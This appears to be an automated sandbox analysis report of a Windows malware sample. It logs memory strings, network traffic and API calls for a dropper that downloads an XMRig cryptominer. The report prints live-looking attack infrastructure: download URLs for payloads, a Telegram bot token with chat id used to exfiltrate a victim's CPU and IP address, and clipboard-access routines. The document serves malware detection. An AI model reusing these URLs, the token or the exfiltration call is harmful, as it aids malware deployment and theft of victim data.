              Source: 2dOeahdsto.exe, 00000000.00000003.389221584.000001C7BB781000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.610345788.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.429875829.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.zipU
              Source: 2dOeahdsto.exe, 00000000.00000000.603971881.000001C7BB65B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.zipZone.Identifier
              Source: 2dOeahdsto.exe, 00000000.00000000.610345788.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.zipc
              Source: System.exe, 00000007.00000000.622182198.00000128868E8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.ziper
              Source: System.exe, 00000007.00000000.622182198.00000128868E8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.zipicrosoft
              Source: 2dOeahdsto.exe, 00000000.00000003.429875829.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.zipm32
              Source: 2dOeahdsto.exe, 00000000.00000000.615527115.000001C7BB835000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.zipp
              Source: 2dOeahdsto.exe, 00000000.00000003.389221584.000001C7BB781000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.ziptxt
              Source: 2dOeahdsto.exe, 00000000.00000000.610345788.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.zipws
              Source: 2dOeahdsto.exe, 00000000.00000003.390872045.000001C7BB790000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.389868570.000001C7BB790000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.350930458.00007FF6F6719000.00000002.00000001.01000000.00000003.sdmp, 2dOeahdsto.exe, 00000000.00000003.429875829.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.617239864.00007FF6F6719000.00000002.00000001.01000000.00000003.sdmp, 2dOeahdsto.exe, 00000000.00000003.382232681.000001C7BB78B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.624188382.00007FF6B0969000.00000002.00000001.01000000.0000000A.sdmp, System.exe, 00000007.00000000.397319430.00007FF6B0969000.00000002.00000001.01000000.0000000A.sdmpString found in binary or memory: http://a0694063.xsph.ru/GPU6.ziphttp://a0694063.xsph.ru/GPU3.ziphttp://a0694063.xsph.ru/CPU.ziphttp:
              Source: System.exe, 00000007.00000000.622182198.00000128868E8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/PU.zipemd
              Source: 2dOeahdsto.exe, 00000000.00000003.365830475.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.618327074.00000128867FB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/UpSys.exe
              Source: 2dOeahdsto.exe, 00000000.00000000.609010503.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.429467680.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365830475.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/UpSys.exe1_
              Source: 2dOeahdsto.exe, 00000000.00000000.609010503.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.429467680.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365830475.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/UpSys.exe?_
              Source: 2dOeahdsto.exe, 00000000.00000003.365830475.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/UpSys.exeA_
              Source: System.exe, 00000007.00000000.618327074.00000128867FB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/UpSys.exeg
              Source: 2dOeahdsto.exe, 00000000.00000003.365830475.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/UpSys.exeg_
              Source: 2dOeahdsto.exe, 00000000.00000003.429467680.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/s
              Source: 2dOeahdsto.exe, 00000000.00000003.429875829.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.612338983.000001C7BB7C1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/xe
              Source: 2dOeahdsto.exe, 00000000.00000003.429875829.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/xe_j
              Source: 2dOeahdsto.exe, 00000000.00000003.365863896.000001C7BB6F4000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365778686.000001C7BB74F000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365857973.000001C7BB74D000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365830475.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000003.409791882.0000012886991000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
              Source: 2dOeahdsto.exe, 00000000.00000003.365863896.000001C7BB6F4000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365778686.000001C7BB74F000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365830475.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000003.409791882.0000012886991000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
              Source: 2dOeahdsto.exe, 00000000.00000003.365863896.000001C7BB6F4000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365778686.000001C7BB74F000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365857973.000001C7BB74D000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365830475.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000003.409791882.0000012886991000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
              Source: 2dOeahdsto.exe, 00000000.00000003.365795459.000001C7BB6FF000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.429267724.000001C7BB6FF000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.357363199.000001C7BB6FF000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.608489811.000001C7BB6FF000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.647575547.00000260703B0000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.618327074.00000128867FB000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000003.558182196.00000265CC0F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
              Source: powershell.exe, 00000018.00000003.558182196.00000265CC0F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.osofts/Microt0
              Source: powershell.exe, 00000004.00000002.642889526.0000026068083000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
              Source: 2dOeahdsto.exe, 00000000.00000003.365863896.000001C7BB6F4000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365778686.000001C7BB74F000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365857973.000001C7BB74D000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365830475.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000003.409791882.0000012886991000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
              Source: 2dOeahdsto.exe, 00000000.00000003.365863896.000001C7BB6F4000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365778686.000001C7BB74F000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365830475.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000003.409791882.0000012886991000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp2.globalsign.com/rootr306
              Source: 2dOeahdsto.exe, 00000000.00000003.365863896.000001C7BB6F4000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365778686.000001C7BB74F000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365857973.000001C7BB74D000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365830475.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000003.409791882.0000012886991000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp2.globalsign.com/rootr606
              Source: powershell.exe, 00000004.00000002.522179788.0000026058228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000003.375474211.0000026070407000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
              Source: powershell.exe, 00000004.00000002.522179788.0000026058228000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
              Source: powershell.exe, 00000004.00000002.507372883.0000026058021000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
              Source: powershell.exe, 00000004.00000002.522179788.0000026058228000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
              Source: 2dOeahdsto.exe, 00000000.00000003.365863896.000001C7BB6F4000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365778686.000001C7BB74F000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365857973.000001C7BB74D000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365830475.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000003.409791882.0000012886991000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
              Source: powershell.exe, 00000004.00000002.522179788.0000026058228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000003.375474211.0000026070407000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
              Source: 2dOeahdsto.exe, 00000000.00000000.350930458.00007FF6F6719000.00000002.00000001.01000000.00000003.sdmp, 2dOeahdsto.exe, 00000000.00000000.617239864.00007FF6F6719000.00000002.00000001.01000000.00000003.sdmp, System.exe, 00000007.00000000.624188382.00007FF6B0969000.00000002.00000001.01000000.0000000A.sdmp, System.exe, 00000007.00000000.397319430.00007FF6B0969000.00000002.00000001.01000000.0000000A.sdmpString found in binary or memory: http://www.winimage.com/zLibDll
              Source: 2dOeahdsto.exe, 00000000.00000000.350930458.00007FF6F6719000.00000002.00000001.01000000.00000003.sdmp, 2dOeahdsto.exe, 00000000.00000000.617239864.00007FF6F6719000.00000002.00000001.01000000.00000003.sdmp, System.exe, 00000007.00000000.624188382.00007FF6B0969000.00000002.00000001.01000000.0000000A.sdmp, System.exe, 00000007.00000000.397319430.00007FF6B0969000.00000002.00000001.01000000.0000000A.sdmpString found in binary or memory: http://www.winimage.com/zLibDll1.2.11.z%02d
              Source: 2dOeahdsto.exe, 00000000.00000003.390872045.000001C7BB790000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.389868570.000001C7BB790000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.357629751.000001C7BB6B8000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.350930458.00007FF6F6719000.00000002.00000001.01000000.00000003.sdmp, 2dOeahdsto.exe, 00000000.00000003.423716413.000001C7BB694000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.429875829.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.603971881.000001C7BB65B000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.617239864.00007FF6F6719000.00000002.00000001.01000000.00000003.sdmp, 2dOeahdsto.exe, 00000000.00000003.382232681.000001C7BB78B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.624188382.00007FF6B0969000.00000002.00000001.01000000.0000000A.sdmp, System.exe, 00000007.00000000.618327074.00000128867FB000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.397319430.00007FF6B0969000.00000002.00000001.01000000.0000000A.sdmpString found in binary or memory: https://api.ipify.org/
              Source: System.exe, 00000007.00000003.404759080.00000128868D1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.ipify.org/W
              Source: 2dOeahdsto.exe, 00000000.00000003.390872045.000001C7BB790000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.389868570.000001C7BB790000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.350930458.00007FF6F6719000.00000002.00000001.01000000.00000003.sdmp, 2dOeahdsto.exe, 00000000.00000003.429875829.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.617239864.00007FF6F6719000.00000002.00000001.01000000.00000003.sdmp, 2dOeahdsto.exe, 00000000.00000003.382232681.000001C7BB78B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.624188382.00007FF6B0969000.00000002.00000001.01000000.0000000A.sdmp, System.exe, 00000007.00000000.397319430.00007FF6B0969000.00000002.00000001.01000000.0000000A.sdmpString found in binary or memory: https://api.ipify.org/root
              Source: 2dOeahdsto.exe, 00000000.00000000.609010503.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.357447815.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.429467680.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365830475.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.621594303.00000128868BF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/
              Source: System.exe, 00000007.00000000.621594303.00000128868BF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/R
              Source: 2dOeahdsto.exe, 00000000.00000003.390872045.000001C7BB790000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.389868570.000001C7BB790000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.350930458.00007FF6F6719000.00000002.00000001.01000000.00000003.sdmp, 2dOeahdsto.exe, 00000000.00000003.429875829.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.617239864.00007FF6F6719000.00000002.00000001.01000000.00000003.sdmp, 2dOeahdsto.exe, 00000000.00000003.382232681.000001C7BB78B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.624188382.00007FF6B0969000.00000002.00000001.01000000.0000000A.sdmp, System.exe, 00000007.00000000.397319430.00007FF6B0969000.00000002.00000001.01000000.0000000A.sdmpString found in binary or memory: https://api.telegram.org/bot
              Source: 2dOeahdsto.exe, 00000000.00000003.390872045.000001C7BB790000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.389868570.000001C7BB790000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.350930458.00007FF6F6719000.00000002.00000001.01000000.00000003.sdmp, 2dOeahdsto.exe, 00000000.00000003.429875829.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.617239864.00007FF6F6719000.00000002.00000001.01000000.00000003.sdmp, 2dOeahdsto.exe, 00000000.00000003.382232681.000001C7BB78B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.624188382.00007FF6B0969000.00000002.00000001.01000000.0000000A.sdmp, System.exe, 00000007.00000000.397319430.00007FF6B0969000.00000002.00000001.01000000.0000000A.sdmpString found in binary or memory: https://api.telegram.org/bot%0A
              Source: System.exe, 00000007.00000000.618327074.00000128867FB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot5468819057:AAHRJabfvGnrMiNkuZj9RaE8-OjfRBxOw-4/sendMessage?chat_id=54776
              Source: powershell.exe, 00000004.00000002.642889526.0000026068083000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
              Source: powershell.exe, 00000004.00000002.642889526.0000026068083000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
              Source: powershell.exe, 00000004.00000002.642889526.0000026068083000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
              Source: powershell.exe, 00000004.00000002.522179788.0000026058228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000003.375474211.0000026070407000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
              Source: powershell.exe, 00000018.00000003.550676358.00000265E485A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://go.microsoft.c
              Source: 2dOeahdsto.exe, 00000000.00000000.608118700.000001C7BB6D8000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365789927.000001C7BB6FC000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.424821815.000001C7BB6D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com
              Source: powershell.exe, 00000004.00000002.642889526.0000026068083000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
              Source: System.exe, 00000007.00000003.409791882.0000012886991000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.globalsign.com/repository/0
              Source: Database.exe, 00000008.00000000.405432715.00007FF70069C000.00000002.00000001.01000000.0000000C.sdmp, Database.exe, 00000025.00000000.449086579.00007FF714E1C000.00000002.00000001.01000000.0000000C.sdmpString found in binary or memory: https://xmrig.com/benchmark/%s
              Source: Database.exe, Database.exe, 00000008.00000000.405432715.00007FF70069C000.00000002.00000001.01000000.0000000C.sdmp, Database.exe, 00000025.00000000.449086579.00007FF714E1C000.00000002.00000001.01000000.0000000C.sdmpString found in binary or memory: https://xmrig.com/docs/algorithms
              Source: Database.exe, Database.exe, 00000008.00000000.405432715.00007FF70069C000.00000002.00000001.01000000.0000000C.sdmp, Database.exe, 00000025.00000000.449086579.00007FF714E1C000.00000002.00000001.01000000.0000000C.sdmpString found in binary or memory: https://xmrig.com/wizard
              Source: Database.exe, 00000008.00000000.405432715.00007FF70069C000.00000002.00000001.01000000.0000000C.sdmp, Database.exe, 00000025.00000000.449086579.00007FF714E1C000.00000002.00000001.01000000.0000000C.sdmpString found in binary or memory: https://xmrig.com/wizard%s
              Source: unknownDNS traffic detected: queries for: api.ipify.org
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014004EA40 InternetQueryDataAvailable,InternetReadFile,35_2_000000014004EA40
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.174 YaBrowser/22.1.2.834 Yowser/2.5 Safari/537.36Host: api.ipify.org
              Source: global trafficHTTP traffic detected: GET /bot5468819057:AAHRJabfvGnrMiNkuZj9RaE8-OjfRBxOw-4/sendMessage?chat_id=547765995&text=New%20User:%20887849%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20%0AIP:%2084.17.52.2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.174 YaBrowser/22.1.2.834 Yowser/2.5 Safari/537.36Host: api.telegram.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.174 YaBrowser/22.1.2.834 Yowser/2.5 Safari/537.36Host: api.ipify.org
              Source: global trafficHTTP traffic detected: GET /bot5468819057:AAHRJabfvGnrMiNkuZj9RaE8-OjfRBxOw-4/sendMessage?chat_id=547765995&text=New%20User:%20887849%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20%0AIP:%2084.17.52.2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.174 YaBrowser/22.1.2.834 Yowser/2.5 Safari/537.36Host: api.telegram.org
              Source: global trafficHTTP traffic detected: GET /UpSys.exe HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: a0694063.xsph.ruConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /CPU.zip HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: a0694063.xsph.ruConnection: Keep-Alive
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49771
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49770
              Source: unknownNetwork traffic detected: HTTP traffic on port 49762 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49770 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
              Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49771 -> 443
              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 22 Jul 2022 15:01:30 GMTContent-Type: application/zipContent-Length: 3420521Last-Modified: Sun, 10 Jul 2022 14:51:22 GMTConnection: keep-aliveETag: "62cae76a-343169"Expires: Fri, 29 Jul 2022 15:01:30 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 09 00 63 00 ab 49 ea 54 6f 95 99 3f a6 00 00 00 8e 00 00 00 0a 00 0b 00 63 6f 6e 66 69 67 2e 74 78 74 01 99 07 00 01 00 41 45 03 08 00 a5 72 0f 0b 8c ce 43 28 c9 e8 7a f7 4b 39 09 a2 b4 d7 b2 57 8d f7 aa 9c 8b f0 9a 37 7f f8 5a 82 0d 4b ea 1c 69 d5 6d 89 0e 63 f7 de 97 d1 13 28 a2 74 ac a1 98 e0 49 15 53 77 94 b2 25 3e ee 8f 16 dd 03 35 ab de 3c 4c 5f cf 06 68 7a ab 73 90 90 1c 40 4e 16 4f ae 01 e3 fb f3 72 38 b4 0d c9 ec e4 70 b8 a3 81 4d 46 4e 5d 4c b9 56 33 10 26 a5 ef 02 11 e2 54 27 6b 93 a9 8f 49 0e 43 95 14 c2 6a 5c bf 38 e1 f1 7d 7b 75 b0 fd 5a 0b 56 30 1b a2 68 41 7e c3 24 fe 2a 63 7a f3 3a 01 f9 28 d1 87 b7 9f 70 70 50 4b 07 08 6f 95 99 3f a6 00 00 00 8e 00 00 00 50 4b 03 04 14 00 09 00 63 00 96 60 85 54 5f 07 e0 1c 87 2d 34 00 00 96 7e 00 0c 00 0b 00 44 61 74 61 62 61 73 65 2e 65 78 65 01 99 07 00 01 00 41 45 03 08 00 3b 9a d6 74 5e 09 cd cf 8a f6 90 61 77 ea b7 33 7d fe 8f d3 6b 6b f9 a2 e0 7c ba 69 fe 46 9b 1a 28 2d 06 7a 8d bb 5d 3d 6b 13 c0 07 03 a1 a3 96 bb bb 83 a9 9c 98 a0 a1 63 05 86 19 a4 88 45 f6 fa 56 c1 6c d7 b8 87 37 0a bf d5 a6 0a 0d 15 1b ee c9 d9 96 78 6f b6 37 9c 54 24 fa 32 96 78 a3 46 27 13 1f 01 71 bd dd d7 a1 43 19 40 9e 94 97 92 81 94 b9 9b 1b 71 d4 fb 5b 20 8c 47 a8 ba 6c 6e 8d 09 4e cc 27 dd 48 9f 68 3c fc 8e 9b 50 cc 42 43 7a 9d 53 4b 5e 06 9f 1f 51 19 33 9a 6f 64 d0 81 a4 70 06 98 7f 6a dd 6b 91 ca 20 1a eb 6d 08 41 b6 d5 12 79 75 3f 27 e0 74 fb 52 08 93 fd 51 fe 1a 09 7b 87 c9 79 0b 3d ec 37 49 40 6d 16 03 84 f7 56 91 a7 89 34 f1 3a ad 4a 12 45 d9 28 b9 03 f3 3f d7 6e 16 a8 a1 2d 5c fd d2 70 21 86 10 6f 6a 04 34 5e af 6b b2 b3 c9 3e 10 57 75 5c 1a fc af 4c ff 1f f8 cb b0 f0 81 36 74 41 5e 06 42 0a 44 34 9d 2a 30 14 51 cb 3f 1f 8a 24 04 f8 7e 5d 2d a8 27 f3 71 50 90 5e 1b 55 91 4f ce 2d 35 19 5f 4f f3 90 32 46 b9 2d 2f fa 1e af 25 78 a8 ba 88 f4 35 7b cc 64 87 35 2f 55 b7 00 0d 2d 12 54 f6 9c d8 57 88 b8 d7 9c 8a 4d 83 b2 3d 01 7a 40 40 d7 cd 4b c9 22 d4 ec 64 da 9d 08 a8 e6 45 25 2a 82 e3 0d 73 80 cb 49 b2 ff 42 ef 91 00 55 58 aa e2 1c ca 9a 0c 8f bf 74 00 2c c5 0d 32 d5 f1 72 cf 09 18 9e 18 e0 3a 21 71 30 47 fa f4 62 81 8c fd c5 cf 01 12 98 5b 8c 8a 18 74 2b 67 ad 32 c9 a3 d7 a8 ee ca 04 c5 6f 64 84 c4 4d 41 dc f4 a2 99 dd 27 a9 1b d0 e7 d3 29 5e b6 b3 40 27 a1 cd cb 35 74 b4 69 f9 29 46 56 8a b1 2c 88 8b ae 49 67 75 65 9b 34 bc 49 f8 b9 83 17 ef 01 b3 10 b8 b5 f5 c0 fb 9e 09 1c 01 2c bd 55 8c 1c 0b 3c 7d 82 f4 67 93 ac a8 af 52 9b 7f 82 19 68 d1 b0 d6 28 0b 8d 25 a4 c8 26 58 0a b7 21 f5 7a a1 94 a2 d7 fb 14 53 ed 18 3d 85 60 ba d6 1c 10 21 f1 0b d0 42 e8 51 99 13 45 0b 49 8f c5 ab 1f 38 36 1c 4e b1 ea b6 9c 99 a1 83 48 1e 00 7a c2 0c 15 a4 a7 8c 00 3f 4f 3b 83 aa 8c 32
              Source: unknownHTTPS traffic detected: 3.232.242.170:443 -> 192.168.2.7:49759 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49762 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 3.220.57.224:443 -> 192.168.2.7:49770 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49771 version: TLS 1.2
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140051190 GetParent,GetKeyboardState,SetKeyboardState,PostMessageW,PostMessageW,PostMessageW,PostMessageW,35_2_0000000140051190
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014006A830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,35_2_000000014006A830
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014007FCA0 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,35_2_000000014007FCA0
              Source: conhost.exeProcess created: 50
              Source: cmd.exeProcess created: 84

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
